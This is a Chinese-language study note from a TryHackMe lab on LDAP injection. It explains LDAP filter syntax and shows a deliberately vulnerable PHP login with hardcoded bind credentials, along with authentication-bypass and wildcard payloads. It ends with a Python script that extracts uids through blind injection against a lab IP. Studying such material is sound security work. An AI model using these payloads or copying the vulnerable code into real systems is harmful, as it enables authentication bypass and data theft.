LDAP注入
以下是我根据在THM网站的学习,写下的笔记
LDAP结构
LDAP代表轻量级目录访问协议,是一种广泛使用的协议,用于通过互联网协议(IP)网络访问和维护分布式目录信息服务。LDAP使组织能够集中管理用户,以及组和其他目录信息,通常用于Web和内部应用程序中的身份验证和授权。
在 LDAP 中,目录项被结构化为对象,每个对象都遵守定义适用于对象的规则和属性的特定模式。这种面向对象的方法确保了一致性,并控制了在目录中如何表示和操纵像用户或组这样的对象。
格式如下:

在 LDAP 树的顶部,我们找到顶级域 (TLD),例如 dc=ldap,dc=thm。在TLD之下,可能有子域或组织单位(OU),例如ou=people或ou=groups,它们进一步对目录条目进行分类。
LDAP搜索查询
LDAP搜索查询由几个组件组成,每个组件在搜索操作中提供特定的功能:
- 基准DN(Distinguish Name):这是目录树中搜索的起点。
范围:定义搜索应该从基础DN走多深。可以是以下之一:
- base(仅搜索基准DN)
- one(搜索基准DN的直系),
- sub(搜索基准DN及其所有后代)。
-
过滤器: 必须在搜索结果中返回一个标准条目。它使用特定的语法来定义这些标准。
-
属性: 指定在搜索结果中应返回匹配项的哪些特征。
LDAP 搜索查询的基本语法如下:
(base DN) (scope) (filter) (attributes)
过滤器的语法
LDAP 过滤器的语法定义在 RFC 4515 中,过滤器表示为具有特定格式的字符串,例如(canonicalName=value)。LDAP过滤器可以使用各种运算符来完善搜索条件,包括equality(=)、存在(=*)、大于(>=)和小于(<=)。
LDAP过滤器中最重要的操作符之一是通配符*,它表示与任意数量的字符相匹配。该运算符对于制定广泛或部分匹配的搜索条件至关重要。
例如:
简单过滤器:
(cn=John Doe)
此过滤器针对(cn)的“John Doe”。
通配符:
(cn=J*)
此过滤器应用通配符来匹配 cn 以J开头的任何条目
带逻辑运算符的复杂过滤器:
对于更复杂的搜索查询,可以使用逻辑运算符(如AND(&),OR(|)和NOT(!)等逻辑运算符相互使用。
(&(objectClass=user)(|(cn=John*)(cn=Jane*)))
此过滤器搜索对象类中归类为user的条目,其cn名称以John或Jane开头。
虽然通常不直接暴露,但LDAP服务可以通过端口389(用于未加密或StartTLS连接)和636(用于SSL / TLS连接)通过网络访问。当 LDAP 服务可公开访问时,可以使用 LDAP 套件的一部分 ldapsearch 等工具用于与 LDAP 服务器进行交互。该工具允许用户从命令行查询和修改LDAP目录,使其成为合法管理任务的宝贵资源,不过也可能成为利用LDAP注入漏洞的攻击者。例如:

此命令使用 ldapsearch 对位于端口 389 上位于易受攻击的计算机的 LDAP 服务器执行搜索,从基准DN dc=ldap,dc=thm 开始,使用过滤器在 People 的组织单元下搜索条目。
注入
例如,下面是一个简化的PHP代码片段,用于Web应用程序中用于用户针对LDAP服务器进行身份验证:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$ldap_server = "ldap://localhost";
$ldap_dn = "ou=People,dc=ldap,dc=thm";
$admin_dn = "cn=tester,dc=ldap,dc=thm";
$admin_password = "tester";
$ldap_conn = ldap_connect($ldap_server);
if (!$ldap_conn) {
die("Could not connect to LDAP server");
}
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
if (!ldap_bind($ldap_conn, $admin_dn, $admin_password)) {
die("Could not bind to LDAP server with admin credentials");
}
// LDAP search filter
$filter = "(&(uid=$username)(userPassword=$password))";
// Perform the LDAP search
$search_result = ldap_search($ldap_conn, $ldap_dn, $filter);
// Check if the search was successful
if ($search_result) {
// Retrieve the entries from the search result
$entries = ldap_get_entries($ldap_conn, $search_result);
if ($entries['count'] > 0) {
foreach ($entries as $entry) {
if (is_array($entry)) {
if (isset($entry['cn'][0])) {
$message = "Welcome, " . $entry['cn'][0] . "!\n";
}
}
}
} else {
$error = true;
}
} else {
$error = "LDAP search failed\n";
}
?>
这个代码是易受攻击的,因为它直接将用户提供的输入($username和$password)插入到了LDAP查询中。
要利用此漏洞,攻击者可以使用恶意 LDAP 过滤器提交用户名。例如,攻击者可以使用像*这样的用户名,当插入到LDAP查询中时,有效地将查询转换为始终评估为true的条件,绕过身份验证。
基于永真式的注入
将条件插入本质上为真的LDAP查询中,从而确保查询始终返回正结果,无论预期的逻辑如何。例如,考虑直接从用户输入插入用户名和密码的 LDAP 身份验证查询:
(&(uid={userInput})(userPassword={passwordInput}))
可以提供这样的输入,例如*)(|(&放到 {userInput} 并且 pwd) 放到 {passwordInput},于是查询转换为:
(&(uid=*)(|(&)(userPassword=pwd)))
这个查询由两部分组成:
(uid=*):与任何具有 uid 属性的条目相匹配,本质上是所有用户,因为通配符*匹配任何值。
(|(&)(userPassword=pwd):OR(|)运算符,这意味着所包含的两个条件中的任何一个正确就能通过过滤器。在 LDAP 中,空的 AND (&) 条件始终被认为是 true。因此无论后面的密码是否正确,这一部分也是true
所以这个查询可以有效地绕过密码检查
(就像SQL注入里面的“万能密码”一样)
通配符注入
用户名与密码都输入通配符*,这样也能绕过

此注入始终使 LDAP 查询的条件为真。
但是,仅使用*将始终在查询中获取第一个结果。要针对以特定字符开头的数据,攻击者可以使用类似 f* 的有效载荷,该有效载荷搜索以字母 f 开头的 uid。

LDAP盲注
有时候不会从注入的payload直接得到输出,那么就需要根据应用程序的行为推断信息。
由于缺乏明确的查询结果,盲注需要不同的方法。可以依靠间接标志,例如应用程序行为、错误消息或响应时间的变化,以推断 LDAP 查询的结构和漏洞的存在。
例如,下面是一段代码片段,它使用 LDAP 查询来检查用户是否存在,但在失败时只返回一条通用错误消息。应用程序还检查提交的电子邮件是否与数据库中的电子邮件相同:
$username = $_POST['username'];
$password = $_POST['password'];
$ldap_server = "ldap://localhost";
$ldap_dn = "ou=users,dc=ldap,dc=thm";
$admin_dn = "cn=tester,dc=ldap,dc=thm";
$admin_password = "tester";
$ldap_conn = ldap_connect($ldap_server);
if (!$ldap_conn) {
die("Could not connect to LDAP server");
}
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
if (!ldap_bind($ldap_conn, $admin_dn, $admin_password)) {
die("Could not bind to LDAP server with admin credentials");
}
$filter = "(&(uid=$username)(userPassword=$password))";
$search_result = ldap_search($ldap_conn, $ldap_dn, $filter);
if ($search_result) {
$entries = ldap_get_entries($ldap_conn, $search_result);
if ($entries['count'] > 0) {
foreach ($entries as $entry) {
if (is_array($entry)) {
if (isset($entry['cn'][0])) {
if($entry['uid'][0] === $_POST['username']){
$message = "Welcome, " . $entry['cn'][0] . "!\n";
}else{
$message = "Something is wrong in your password.\n";
}
}
}
}
} else {
$error = true;
}
} else {
echo "LDAP search failed\n";
}
ldap_close($ldap_conn);
可以先向用户名字段注入条件,使 LDAP 查询为真或假,观察应用程序的行为以推断信息。
例如,尝试注入像a*)(|(&这样的用户名,当包含在 LDAP 查询中时,检查任何用户 uid 是否以“a”开头:

username=a*)(|(&&password=pwd)
由此产生的LDAP查询:
(&(uid=a*)(|(&)(userPassword=pwd)))

如果应用程序返回“Something is wrong in your password.”,可以推断其 uid 中以“a”开头的帐户的用户存在于 LDAP 目录中。要检查下一个字符,可以在下一个字符的位置重复刚才的payload,例如:
username=ab*)(|(&&password=pwd)


这表明下一个字符不是“b”。可以通过观察Web应用程序响应来迭代进行这种注入,类似于SQL注入的布尔盲注。
脚本如下:
import requests
from bs4 import BeautifulSoup
import string
import time
# Base URL
url = 'http://10.10.252.134/blind.php'
# Define the character set
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"
# Initialize variables
successful_response_found = True
successful_chars = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
while successful_response_found:
successful_response_found = False
for char in char_set:
#print(f"Trying password character: {char}")
# Adjust data to target the password field
data = {'username': f'{successful_chars}{char}*)(|(&','password': 'pwd)'}
# Send POST request with headers
response = requests.post(url, data=data, headers=headers)
# Parse HTML content
soup = BeautifulSoup(response.content, 'html.parser')
# Adjust success criteria as needed
paragraphs = soup.find_all('p', style='color: green;')
if paragraphs:
successful_response_found = True
successful_chars += char
print(f"Successful character found: {char}")
break
if not successful_response_found:
print("No successful character found in this iteration.")
print(f"Final successful payload: {successful_chars}")
用这个脚本就可以找到邮箱,完成盲注

浙公网安备 33010602011771号